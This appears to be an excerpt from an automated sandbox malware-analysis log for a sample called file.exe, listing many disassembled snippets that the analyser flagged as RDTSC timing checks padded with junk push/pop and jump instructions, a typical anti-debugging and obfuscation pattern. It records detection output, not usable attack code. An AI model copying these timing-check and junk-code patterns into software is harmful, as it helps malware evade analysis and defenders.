Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D4E5 second address: F8D563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jc 00007F711CDAA07Ch 0x0000000b jno 00007F711CDAA076h 0x00000011 popad 0x00000012 pushad 0x00000013 je 00007F711CDAA078h 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c jmp 00007F711CDAA086h 0x00000021 jmp 00007F711CDAA088h 0x00000026 jmp 00007F711CDAA089h 0x0000002b popad 0x0000002c jl 00007F711CDAA07Ch 0x00000032 jg 00007F711CDAA076h 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F711CDAA07Ch 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93235 second address: F93239 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93239 second address: F93265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F711CDAA083h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F711CDAA07Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93265 second address: F93269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93269 second address: F93277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F711CDAA08Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93B8F second address: F93B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93B93 second address: F93BB0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F711CDAA087h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93EA2 second address: F93EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93EA8 second address: F93EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F711CDAA076h 0x0000000a jnp 00007F711CDAA076h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93EB9 second address: F93ED7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC66h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F93ED7 second address: F93EDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F941EF second address: F94205 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007F711D40AC56h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F711D40AC56h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94205 second address: F9420B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9420B second address: F94218 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F711D40AC58h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94218 second address: F9421E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F944B0 second address: F944B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F944B4 second address: F944C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F711CDAA076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F944C4 second address: F944D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711D40AC5Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94A60 second address: F94A66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F94A66 second address: F94A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99ED4 second address: F99EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711CDAA07Ch 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99EE7 second address: F99EEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F99EEC second address: F99EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8855 second address: EE8866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jp 00007F711D40AC5Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E023 second address: F9E054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F711CDAA07Dh 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F711CDAA089h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D60E second address: F9D620 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D620 second address: F9D626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D8CC second address: F9D8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DA4F second address: F9DA5C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F711CDAA076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DA5C second address: F9DA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DA62 second address: F9DA6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DC10 second address: F9DC1C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6303 second address: FA6307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6307 second address: FA6330 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F711D40AC56h 0x00000008 jmp 00007F711D40AC5Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F711D40AC5Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA459F second address: FA45A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA45A5 second address: FA45D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F711D40AC63h 0x0000000c jmp 00007F711D40AC69h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA486A second address: FA486E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA486E second address: FA488C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F711D40AC66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4B30 second address: FA4B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4B38 second address: FA4B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4F93 second address: FA4FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F711CDAA083h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA50FC second address: FA5100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA59C7 second address: FA59CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA59CD second address: FA59D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6125 second address: FA6129 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6129 second address: FA6135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6135 second address: FA6139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6139 second address: FA6153 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC66h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6153 second address: FA6175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jo 00007F711CDAA078h 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F711CDAA07Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6175 second address: FA6179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6179 second address: FA617D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9696 second address: FA96C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F711D40AC67h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jo 00007F711D40AC56h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF409 second address: FAF40F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF40F second address: FAF41E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F711D40AC56h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED975 second address: EED97B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAEED8 second address: FAEEF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC5Ch 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F711D40AC56h 0x00000013 jne 00007F711D40AC56h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAEEF8 second address: FAEF51 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F711CDAA076h 0x00000008 jmp 00007F711CDAA086h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F711CDAA086h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jnp 00007F711CDAA076h 0x0000001e jmp 00007F711CDAA088h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAEF51 second address: FAEF5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jno 00007F711D40AC56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAEF5D second address: FAEF61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAEF61 second address: FAEF76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F711D40AC5Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC02AF second address: FC02B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC02B4 second address: FC02BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC02BA second address: FC02BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0BB3 second address: FD0BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0BB8 second address: FD0BC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0BC0 second address: FD0BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0BC4 second address: FD0BC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD94B8 second address: FD94BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7BBF second address: FD7BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711CDAA085h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7BD8 second address: FD7BDE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7D41 second address: FD7D51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711CDAA07Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7D51 second address: FD7D68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F711D40AC62h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7D68 second address: FD7D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F711CDAA082h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7D84 second address: FD7DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711D40AC60h 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F711D40AC5Eh 0x00000018 jnl 00007F711D40AC56h 0x0000001e pushad 0x0000001f popad 0x00000020 jnp 00007F711D40AC63h 0x00000026 jmp 00007F711D40AC5Bh 0x0000002b push edi 0x0000002c pop edi 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7DC2 second address: FD7DC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7F24 second address: FD7F34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F711D40AC5Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7F34 second address: FD7F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnp 00007F711CDAA076h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD7F43 second address: FD7F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD83FF second address: FD8405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8405 second address: FD8443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F711D40AC56h 0x0000000c popad 0x0000000d jnp 00007F711D40AC5Ah 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 pop edi 0x00000017 pushad 0x00000018 jl 00007F711D40AC56h 0x0000001e jnl 00007F711D40AC56h 0x00000024 jmp 00007F711D40AC61h 0x00000029 popad 0x0000002a js 00007F711D40AC5Ch 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD85A3 second address: FD85A8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8737 second address: FD873B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD873B second address: FD8747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8747 second address: FD8751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F711D40AC56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDCDE8 second address: FDCE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711CDAA07Fh 0x00000009 pop edx 0x0000000a jnl 00007F711CDAA089h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDCAFF second address: FDCB04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDCB04 second address: FDCB26 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F711CDAA082h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 jng 00007F711CDAA076h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDCB26 second address: FDCB2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDCB2A second address: FDCB30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDCB30 second address: FDCB35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE93F0 second address: FE940A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F711CDAA081h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC182 second address: FFC1A0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F711D40AC63h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC1A0 second address: FFC1B1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jnp 00007F711CDAA076h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC1B1 second address: FFC1BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFBFD0 second address: FFBFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 ja 00007F711CDAA076h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFE26C second address: FFE270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFE270 second address: FFE274 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFE274 second address: FFE28C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F711D40AC56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jno 00007F711D40AC5Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDDF0 second address: FFDDF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDDF6 second address: FFDDFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDDFA second address: FFDE00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDE00 second address: FFDE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFDE0A second address: FFDE0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
